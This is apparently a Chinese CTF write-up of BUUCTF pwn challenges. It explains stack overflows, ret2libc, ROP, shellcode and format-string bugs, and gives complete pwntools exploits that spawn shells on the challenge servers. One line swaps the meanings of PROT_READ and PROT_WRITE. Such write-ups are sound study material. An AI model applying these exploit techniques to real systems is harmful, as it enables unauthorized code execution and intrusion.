test_your_nc 没啥好说的,nc 连接上去之后读取flag
1 2 3 nc node4.buuoj.cn 27874 cat flag
rip 知识点:栈溢出,ret2text 先用 checksec 检查一下程序 没有开启任何保护,放到 ida 中按 F5 分析伪代码 看见典型的 gets 函数导致栈溢出,gets
函数是一个危险函数。因为它不检查输入的字符串长度,而是以回车来判断结束,因此容易导致栈溢出漏洞的产生。 双击 s,可以看到偏移量为0x8-(-0xF)
,即 8+15=23。接着观察到程序已经预留一个后门函数fun
所以我们只需要覆盖返回地址为后门函数即可,fun 函数地址也可以在 ida 中观察得到:0x401186 编写exp
1 2 3 4 5 from pwn import *p = remote("node4.buuoj.cn" ,29798 ) payload = 'a' *23 + p64(0x401186 ) p.sendline(payload) p.interactive()
但是运行失败,因为远程环境是 ubuntu18,64位的程序则需要考虑堆栈平衡的问题,我们可以通过加一个 ret 指令去使其16字节对齐,寻找程序中 ret 的地址 用 ROPgadget 找到 ret 的地址为:0x401016,所以最终exp如下
1 2 3 4 5 from pwn import *p = remote("node4.buuoj.cn" ,29798 ) payload = 'a' *23 + p64(0x401016 ) +p64(0x401186 ) p.sendline(payload) p.interactive()
warmup_csaw_2016 知识点:栈溢出,ret2text 首先用 checksec 检查没有任何保护,并且是64位程序,丢进 ida 中查看伪代码
1 2 3 4 5 6 7 8 9 10 11 12 __int64 __fastcall main (int a1, char **a2, char **a3) { char s[64 ]; char v5[64 ]; write(1 , "-Warm Up-\n" , 0xA uLL); write(1 , "WOW:" , 4uLL ); sprintf (s, "%p\n" , sub_40060D); write(1 , s, 9uLL ); write(1 , ">" , 1uLL ); return gets(v5); }
典型的 gets 函数栈溢出,双击 v5 查看偏移 同时可以在 sub_40060D 函数中发现有获取flag的命令
1 2 3 4 int sub_40060D () { return system("cat flag.txt" ); }
编写exp
1 2 3 4 5 from pwn import *p = remote("node4.buuoj.cn" ,28169 ) payload = 'a' *(0x40 +8 ) + p64(0x40060d ) p.sendline(payload) p.interactive()
ciscn_2019_n_1 知识点:栈溢出,覆盖变量值 用 checksec 检测是64位程序,且只开了 NX 保护,在 ida 中查看伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 int func () { char v1[44 ]; float v2; v2 = 0.0 ; puts ("Let's guess the number." ); gets(v1); if ( v2 == 11.28125 ) return system("cat /flag" ); else return puts ("Its value should be 11.28125" ); }
如果 v2 的值等于浮点数的 11.28125,而 v1 存在栈溢出,解题思路就是通过 v1 进行栈溢出,改写 v2 的值。观察栈 可以看到 v1 在栈中的空间大小为 0x30-0x4=44 ,同时注意使用 p64 打包的时候只能打包整数,小数不可以,所以需要将 11.28125 转换为16进制的形式,在ida中也可以看到 编写exp
1 2 3 4 5 from pwn import *p = remote("node4.buuoj.cn" ,29515 ) payload = 'a' *(0x30 -0x4 ) + p64(0x41348000 ) p.sendline(payload) p.interactive()
pwn1_sctf_2016 知识点:栈溢出ret2text 用 checksec 检查程序为32位,只开启了 NX 保护,丢进 ida 中查看伪代码,跟进 vuln 函数 已经很明了,虽然只限制读入32个字节数据,但可以通过 I 变成 you 实现一个长度的字节变成三个长度的字节,导致栈溢出。双击 s 可以看到 s 的栈空间为 0x3c,也就是60字节,60÷3=20,需要输入20个 I 即可填满栈空间,然后再用4个字节来覆盖ebp,加上返回地址,一共20+4=28,满足小于 32 长度的限制。点击 get_flag 即可看到该函数地址为 0x8048F0D,开始编写exp
1 2 3 4 5 from pwn import *p = remote("node4.buuoj.cn" , 27160 ) payload = 'I' *20 + 'a' *4 + p32(0x8048F0D ) p.sendline(payload) p.interactive()
jarvisoj_level0 知识点:栈溢出,ret2text checksec 检查程序为64位程序,导入 ida 查看伪代码,跟进 vulnerable_function
1 2 3 4 5 6 ssize_t vulnerable_function () { char buf[128 ]; return read(0 , buf, 0x200 uLL); }
可以看见 buf 分配的栈空间大小只有 0x80,也就是128,而read可以输入200长度数据,导致栈溢出,后门函数地址为0x400596 编写exp
1 2 3 4 5 from pwn import *p = remote("node4.buuoj.cn" , 26330 ) payload = 'a' *128 + 'a' *8 + p64(0x400596 ) p.sendline(payload) p.interactive()
ciscn_2019_c_1 知识点:栈溢出,ret2libc3 相关知识可以看我的另一篇博文:https://www.wlhhlc.top/posts/54640/#无system-无-bin-sh
首先,checksec 检查程序为64位,且只开启了 NX 保护,丢进ida中观察伪代码,跟进 encrypt 函数 典型的栈溢出漏洞,双击变量s 栈空间大小为0x50,但程序中没有 system 和 sh,所以需要我们去泄露 puts 函数的真实地址,从而确定 libc 版本,进而知道其他函数的地址,因为64位传参的约定,我们还需要找 rdi 寄存器的地址
1 ROPgadget --binary pwn --only "ret|pop" | grep "rdi"
rdi寄存器地址为:0x0000000000400c83,编写exp泄露libc版本
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *p = remote("node4.buuoj.cn" , 25051 ) elf = ELF("./pwn" ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] start_addr = elf.sym['_start' ] rdi_addr = 0x0000000000400c83 payload_1 = 'a' *(0x50 +8 ) + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(start_addr) p.sendlineafter("Input your choice!" ,'1' ) p.sendlineafter("Input your Plaintext to be encrypted" ,payload_1) puts_addr = u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,"\x00" )) success(hex (puts_addr))
运行后得到 puts 函数的地址:0x7f0ee53849c0 取后三位,去这个网站查 libc 版本:https://libc.blukat.me/ 下载下来后,用 one_gadget 搜索 execve 地址,随意选一个地址 接着编写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *p = remote("node4.buuoj.cn" , 25051 ) elf = ELF("./pwn" ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] start_addr = elf.sym['_start' ] rdi_addr = 0x0000000000400c83 payload_1 = 'a' *(0x50 +8 ) + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(start_addr) p.sendlineafter("Input your choice!" ,'1' ) p.sendlineafter("Input your Plaintext to be encrypted" ,payload_1) puts_addr = u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,"\x00" )) success(hex (puts_addr)) libc = puts_addr - 0x0809c0 exec_addr = libc + 0x4f322 payload_2 = 'a' *(0x50 +8 ) + p64(exec_addr) p.sendlineafter("Input your choice!" ,'1' ) p.sendlineafter("Input your Plaintext to be encrypted" ,payload_2) p.interactive()
babyrop 知识点:栈溢出,ret2libc3 checksec 检查为32位程序,在ida中查看 main 函数 我们先跟进第一个函数 sub_804871F 查看 相关逻辑已经写在注释中,注意观察这里有个 strncmp 函数比较,但在比较前有一个统计长度的strlen
函数,该函数遇到\0
就会结束,所以我们可以通过传入\0
来绕过比较 接下来观察第二个函数 sub_80487D0 a1 是前面一个函数的返回值,也就是 buf 数组的第8个字符,所以这里我们只要构造大于 231 就会发生栈溢出,然后就是经典的 ret2libc3了,这里通过泄露 write 函数地址来获得函数的真实地址
接下来就是 buf 的第8个字符串具体要构造多少呢,我们需要考虑 payload 的长度,比如我的payload只需要构造大于或者等于255就行,exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *p = remote("node4.buuoj.cn" , 27793 ) elf = ELF("./pwn" ) libc = ELF("./libc-2.23.so" ) bypass = "\0" *7 + "\255" p.sendline(bypass) write_plt = elf.plt['write' ] write_got = elf.got['write' ] main_addr = 0x8048825 payload_1 = "a" *(231 +4 ) +p32(write_plt) +p32(main_addr)+ p32(1 )+p32(write_got)+p32(8 ) p.sendlineafter("Correct\n" , payload_1) write_addr = u32(p.recvuntil("\xf7" )[-4 :].ljust(4 ,"\x00" )) success(hex (write_addr)) libc_base = write_addr - libc.sym['write' ] success(hex (libc_base)) system_addr = libc_base + libc.sym['system' ] bin_sh_addr = libc_base + libc.search('/bin/sh' ).next () p.sendline(bypass) payload_2 = 'a' *(231 +4 ) + p32(system_addr) + p32(0 ) + p32(bin_sh_addr) p.sendlineafter("Correct\n" , payload_2) p.interactive()
ciscn_2019_n_8 checksec 下保护全开,ida 中查看源代码 定义的 var 是int数组类型,在内存中占4个字节,即数组中每个元素占4个字节,在下边为13也就是第14个元素的值等于17就能 getshell,exp如下
1 2 3 4 5 6 from pwn import *p = remote("node4.buuoj.cn" , 29967 ) payload = 'aaaa' *13 + p32(17 ) p.sendline(payload) p.interactive()
jarvisoj_level2 知识点:栈溢出,ret2libc1 checksec 检查只开启了 NX 保护,打开 ida 查看源代码,跟进 vulnerable_function
1 2 3 4 5 6 7 ssize_t vulnerable_function () { char buf[136 ]; system("echo Input:" ); return read(0 , buf, 0x100 u); }
0x100 > 136,典型的栈溢出,并且在ida中可以看到 system 函数地址为0x08048320,字符串 /bin/sh 地址为0x0804A024,直接写exp
1 2 3 4 5 6 from pwn import *p = remote("node4.buuoj.cn" , 29257 ) payload = 'a' *(136 +4 ) + p32(0x08048320 ) + p32(1 ) + p32(0x0804A024 ) p.sendline(payload) p.interactive()
get_started_3dsctf_2016 知识点:栈溢出,覆盖变量 、 ret2syscall checksec 检查为32位程序,并且只开启 NX 保护,ida 打开发现大量函数,直接搜索 main gets 函数,典型的栈溢出,搜索后发现还有一个 get_flag 函数, 传入的两个参数满足 if 判断条件就会输出flag,我们可以使其溢出后返回地址为 get_flag 函数,再传入两个参数满足 if 条件,但注意返回的地址要为 exit 函数的地址使其正常退出,感谢前面师傅踩的坑。exp为
1 2 3 4 5 6 7 from pwn import *p = remote("node4.buuoj.cn" , 27360 ) payload = "a" *(56 ) + p32(0x80489A0 ) + p32(0x804e6a0 ) + p32(0x308cd64f ) + p32(0x195719d1 ) p.sendline(payload) p.interactive()
另一种做法是用 ret2syscall 控制程序执行系统调用获取shell,不懂的可以参考我的另一边博文:https://www.wlhhlc.top/posts/54640/#ret2syscall
不过程序里没有 /bin/sh 字符串,所以我们需要自己写入。首先我们把/bin
写入到 eax 寄存器中,然后查找了一下,发现 edx 寄存器可以利用,该地址可将 eax 的值复制给 edx 地址指向的值 接下来就是找可控地址,vmmap 查找可写的段 这里选择 0x080ea000 开始 ,开始编写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *p = remote("node4.buuoj.cn" , 29119 ) pop_eax = 0x080b91e6 pop_edx_ecx_ebx = 0x0806fc30 int_80 = 0x0806d7e5 move_edx_eax_ret = 0x080557ab payload_1 = "a" *(56 ) + p32(pop_eax) + '/bin' + p32(pop_edx_ecx_ebx) + p32(0x080ea000 ) + p32(0 ) + p32(0 ) + p32(move_edx_eax_ret) payload_2 = p32(pop_eax) + '/sh\x00' + p32(pop_edx_ecx_ebx) + p32(0x080ea000 +4 ) + p32(0 ) + p32(0 ) + p32(move_edx_eax_ret) payload_3 = p32(pop_eax) + p32(0xb ) + p32(pop_edx_ecx_ebx) + p32(0 ) + p32(0 ) + p32(0x080ea000 ) + p32(int_80) payload = payload_1 + payload_2 + payload_3 p.sendline(payload) p.interactive()
bjdctf_2020_babystack 知识点:栈溢出,ret2text checksec 检查为64位程序,只开启 NX 保护,ida 查看伪代码 因为 read 函数由我们的输入控制长度,所以造成栈溢出,并且有 backdoor 函数,直接写exp打了
1 2 3 4 5 6 7 from pwn import *p = remote("node4.buuoj.cn" , 26472 ) p.sendlineafter("Please input the length of your name:\n" , "50" ) payload = 'a' *(0x10 +8 ) + p64(0x4006e6 ) p.sendline(payload) p.interactive()
ciscn_2019_en_2 知识点:栈溢出,ret2libc3,栈对齐 只是在前面 ciscn_2019_c_1 那题的基础上把环境改成了 ubuntu18,这个时候需要注意栈对齐的问题即可,思路和前面那题一样,就不赘述了,往上翻就可以看到,exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *p = remote("node4.buuoj.cn" , 27840 ) elf = ELF("./pwn1" ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main_addr = elf.sym['main' ] p.sendlineafter("Input your choice!\n" , "1" ) payload_1 = "a" *(0x50 + 8 ) + p64(0x0000000000400c83 ) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.sendlineafter("Input your Plaintext to be encrypted\n" , payload_1) puts_addr = u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,"\x00" )) success(hex (puts_addr)) libc_base = puts_addr - 0x0809c0 system_addr = libc_base + 0x04f440 bin_sh = libc_base + 0x1b3e9a payload_2 = "a" *(0x50 + 8 ) + p64(0x00000000004006b9 ) + p64(0x0000000000400c83 ) + p64(bin_sh) + p64(system_addr) p.sendlineafter("Input your choice!\n" , "1" ) p.sendlineafter("Input your Plaintext to be encrypted\n" , payload_2) p.interactive()
not_the_same_3dsctf_2016 知识点:栈溢出,ret2text checksec 检测是32位程序,只开启了 NX 保护,丢进 ida 里是一堆函数,先找 main 函数 典型 gets 函数导致的栈溢出漏洞,然后还看见 get_secret 函数可以读取 flag 到 f14g 变量中,只是不输出 所以我们需要通过 write 函数输出 f14g 内容,exp如下
1 2 3 4 5 6 7 8 9 from pwn import *p = remote("node4.buuoj.cn" , 25149 ) write_addr = 0x0806e270 get_secret = 0x080489a0 f14g_addr = 0x080ECA2D payload = "a" *0x2d + p32(get_secret) + p32(write_addr) + p32(0 ) + p32(1 ) + p32(f14g_addr) + p32(50 ) p.sendline(payload) p.interactive()
还有另一种解法是使用 mprotect 函数
1 int mprotect (const void *start, size_t len, int prot) ;
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问
简单来说就是 mprotect 函数可以帮助我们修改某一区间的内容为可读可写可执行的权限,该函数需要三个参数,所以我们需要找一下三个 pop 和 ret 的地址 接着再找可读可写的段 这里我选取 0x080ea000 ,开始编写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *p=remote('node4.buuoj.cn' ,29085 ) pop3_ret = 0x0806fcf0 mprotect = 0x0806ed40 bss_addr = 0x080ea000 mprotect_prot = 7 read_addr = 0x0806e200 payload_1 = 'a' *0x2d + p32(mprotect) + p32(pop3_ret) + p32(bss_addr) + p32(0x100 ) + p32(mprotect_prot) payload_2 = p32(read_addr) + p32(pop3_ret) + p32(0 ) + p32(bss_addr) + p32(0x100 ) + p32(bss_addr) p.sendline(payload_1 + payload_2) shellcode = asm(shellcraft.sh()) p.sendline(shellcode) p.interactive()
[HarekazeCTF2019]baby_rop 知识点:栈溢出,ret2libc1 64位程序,然后 ida 查看伪代码
1 2 3 4 5 6 7 8 9 int __cdecl main (int argc, const char **argv, const char **envp) { char v4[16 ]; system("echo -n \"What's your name? \"" ); __isoc99_scanf("%s" , v4); printf ("Welcome to the Pwn World, %s!\n" , v4); return 0 ; }
输入没限制长度导致栈溢出漏洞,并且 ida 里可以看到有 system 和 /bin/sh,直接编写exp
1 2 3 4 5 6 7 8 from pwn import *p=remote('node4.buuoj.cn' , 28781 ) system = 0x0000000000400490 binsh = 0x0000000000601048 payload = "a" *(0x10 +8 ) + p64(0x0000000000400683 ) + p64(binsh) + p64(system) p.sendline(payload) p.interactive()
jarvisoj_level2_x64 知识点:栈溢出,ret2libc1 依然典型的栈溢出漏洞,64位程序,所以记得使用 rdi 寄存器地址
1 2 3 4 5 6 7 ssize_t vulnerable_function () { char buf[128 ]; system("echo Input:" ); return read(0 , buf, 0x200 uLL); }
直接写exp
1 2 3 4 5 6 7 8 from pwn import *p=remote('node4.buuoj.cn' , 28519 ) system = 0x00000000004004C0 binsh = 0x0000000000600A90 payload = "a" *(0x80 +8 ) + p64(0x00000000004006b3 ) + p64(binsh) + p64(system) p.sendline(payload) p.interactive()
ciscn_2019_n_5 知识点:栈溢出,ret2shellcode 首先 checksec 检查程序为64位,并且没有开启任何保护 ida 查看伪代码 read 函数读取输入到 name 中,第二个读取输入则用了 gets 函数,造成栈溢出漏洞,这题可以用 retlibc3打,也可以用 ret2shellcode 打,这里我用 ret2shellcode 方便点,首先看一下 name 的地址在 bss 段上 并且 vmmap 查看该地址可写可执行 所以我们通过 read 函数写入 shellcode 到 name 中,再通过 gets 栈溢出执行 shellcode,exp如下
1 2 3 4 5 6 7 8 from pwn import *p=remote('node4.buuoj.cn' , 27304 ) shellcode = asm(shellcraft.amd64.linux.sh(), arch="amd64" ) p.sendlineafter("tell me your name\n" ,shellcode) payload = "a" *(0x20 +8 ) + p64(0x601080 ) p.sendlineafter("What do you want to say to me?\n" , payload) p.interactive()
others_shellcode 额,直接 nc 连上去拿flag就可以了
ciscn_2019_ne_5 知识点:栈溢出,ret2libc1 checksec 检查程序为32位,丢进 ida 分析,代码有点长,不过逻辑很容易理清 首先要输入 admin 的密码为 administrator,然后进去选项中,虽然只列了四个选项,但看代码中 case 还有个隐藏的 case4 选项,首先看第一个 AddLog
函数将传参进来的 src ,也就是函数里的 a1 重新取值,其他内容没有什么好看的,直接到第四个GetFlag
函数 这里用 strcpy 进行了复制,但双击 dest 可以看见大小只有 0x48 ,小于 src 所以导致了栈溢出漏洞,接下来可以看到已经有了 system 函数,还需要参数/bin/sh
,查看字符串 发现有一个 fflush,只取sh也可以作为参数执行命令,这里地址是0x080482E6
,加上 4 就是字符串sh
的地址,即0x080482EA
,编写exp
1 2 3 4 5 6 7 8 from pwn import *p = remote("node4.buuoj.cn" , 27476 ) p.sendlineafter("Please input admin password:" ,'administrator' ) payload = 'a' *(0x48 +4 ) + p32(0x080484D0 ) + 'b' *4 + p32(0x080482EA ) p.sendlineafter("Input your operation:" ,'1' ) p.sendlineafter("Please input new log info:" ,payload) p.sendlineafter("Input your operation:" ,'4' ) p.interactive()
铁人三项(第五赛区)_2018_rop 知识点:栈溢出,ret2libc3 checksec 检查为32位程序,丢进 ida 中分析 第一个函数没有什么内容,看第二个函数 vulnerable_function 很明显的栈溢出漏洞,双击 buf 定义的 buf 栈空间大小只有 0x88,而 read 函数允许读取 0x100大小的数据,程序中没有 system 和 /bin/sh,典型的 retlibc3 ,通过泄露 write 函数获得 libc 基址,编写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *p = remote("node4.buuoj.cn" , 27632 ) elf = ELF("./pwn" ) write_plt = elf.plt['write' ] write_got = elf.got['write' ] main_addr = elf.sym['main' ] payload_1 = 'a' *(0x88 +4 ) + p32(write_plt) + p32(main_addr) + p32(1 ) + p32(write_got) + p32(4 ) p.sendline(payload_1) write_addr = u32(p.recvuntil("\xf7" )[-4 :].ljust(4 ,"\x00" )) success(hex (write_addr)) libc_base = write_addr - 0x0e56f0 success(hex (libc_base)) system_addr = libc_base + 0x03cd10 binsh_addr = libc_base + 0x17b8cf payload_2 = 'a' *(0x88 +4 ) + p32(0x08048199 ) + p32(system_addr) + 'b' *4 + p32(binsh_addr) p.sendline(payload_2) p.interactive()
bjdctf_2020_babyrop 知识点:栈溢出,ret2libc3 checksec 检查是64位程序,ida 打开 buf 栈空间为 0x20 ,而 read 允许读取 0x64 大小的数据,造成栈溢出,并且程序中没有给出 system 和 /bin/sh,需要利用 puts 函数泄露 libc 版本,并计算偏移量得到 system 和 /bin/sh 的地址。这里 libc 版本在线网站没有查到,题目提示是 ubuntu16 版本,在 buu 的资源处下载即可 编写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *p = remote("node4.buuoj.cn" , 27512 ) elf = ELF("./pwn" ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = elf.sym['main' ] libc = ELF("./libc-2.23.so" ) payload_1 = 'a' *(0x20 +8 ) + p64(0x0000000000400733 ) + p64(puts_got) + p64(puts_plt) + p64(main) p.sendlineafter("Pull up your sword and tell me u story!" ,payload_1) puts_addr = u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,"\x00" )) success(hex (puts_addr)) libc_base = puts_addr - libc.sym['puts' ] success(hex (libc_base)) system_addr = libc_base + libc.sym['system' ] bin_sh = libc_base + libc.search('/bin/sh' ).next () payload_2 = 'a' *(0x20 +8 ) + p64(0x0000000000400733 ) + p64(bin_sh) + p64(system_addr) p.sendlineafter("Pull up your sword and tell me u story!" ,payload_2) p.interactive()
bjdctf_2020_babystack2 知识点:栈溢出,ret2text,无符号整形 checksec 检查为64位程序,ida 查看一下伪代码 首先可以获取用户输入赋值给 nbytes 变量,第一个 if 判断要求有符号整形小于10,而后面的 read 读取的大小由前面 nbytes 决定,但这里为unsigned int
,也就是无符号整形,可以绕过 可以看到无符号整形为负数的时候,会变成unsigned int
的最大值,所以我们只需要前面输入一个-1
绕过 if 判断,后面增大 read 函数的读取大小,导致栈溢出。该程序中还有个后门函数 backdoor 可以利用,大大减少了难度,直接写exp
1 2 3 4 5 6 7 from pwn import *p = remote("node4.buuoj.cn" ,26738 ) p.sendlineafter("Please input the length of your name:\n" , '-1' ) payload = 'a' *(0x10 +8 ) + p64(0x0000000000400726 ) p.sendlineafter("What's u name?\n" , payload) p.interactive()
jarvisoj_fm 知识点:格式化字符串,覆盖内存 格式化字符串漏洞不懂的可以看我的另一篇博文学习:https://www.wlhhlc.top/posts/17489/
首先 checksec 检查为32位程序,并且开启了 canary 保护 用 ida 查看伪代码 可以看见存在格式化字符串漏洞,并且如果 X 的值等于4,就会直接执行system("/bin/sh");
,所以我们需要覆盖 x 的值,ida 中双击 x 可以得到地址为0x0804A02C
,接下来需要找格式化字符串在输出函数时是调用的第几个参数 可以看到输入的 aaaa 的16进制形式在第 11 位,所以直接写exp即可
1 2 3 4 5 6 7 from pwn import *p = remote("node4.buuoj.cn" ,27671 ) x_addr = 0x0804A02C payload = p32(x_addr) + "%11$n" p.sendline(payload) p.interactive()
pwn2_sctf_2016 知识点:栈溢出、ret2libc3、整数溢出 checksec 检查为32位程序, ida 查看伪代码 这里的接收输入用的是自定义的函数get_n
,我们跟进这个函数观察 这里可以看到我们传进来的参数是用的无符号整形,而 return 的结果确实有符号整形,这里输入一个负数就可以造成整形溢出从而获得unsigned int
的最大值 这样就绕过刚刚 vuln 函数里面的第二个 if 对于输入长度的判断,从而造成栈溢出漏洞。这里通过泄露 printf 函数的地址去确定 libc 的真实地址,libc可以在 buuctf 平台的资源下载,构造exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *p = remote("node4.buuoj.cn" ,26363 ) elf = ELF("./pwn" ) libc = ELF("./libc-2.23.so" ) printf_plt = elf.plt['printf' ] printf_got = elf.got['printf' ] main_addr = elf.sym['main' ] payload_1 = 'a' *(0x2C +4 ) + p32(printf_plt) + p32(main_addr) + p32(printf_got) p.sendlineafter("How many bytes do you want me to read?" ,'-1' ) p.sendlineafter("bytes of data!\n" , payload_1) printf_addr = u32(p.recvuntil("\xf7" )[-4 :].ljust(4 ,"\x00" )) success(hex (printf_addr)) libc_base = printf_addr - libc.sym['printf' ] success(hex (libc_base)) system_addr = libc_base + libc.sym['system' ] binsh_addr = libc_base + libc.search("/bin/sh" ).next () payload_2 = 'a' *(0x2C +4 ) + p32(system_addr) + 'aaaa' + p32(binsh_addr) p.sendlineafter("How many bytes do you want me to read?" ,'-1' ) p.sendlineafter("bytes of data!\n" , payload_2) p.interactive()
等待更新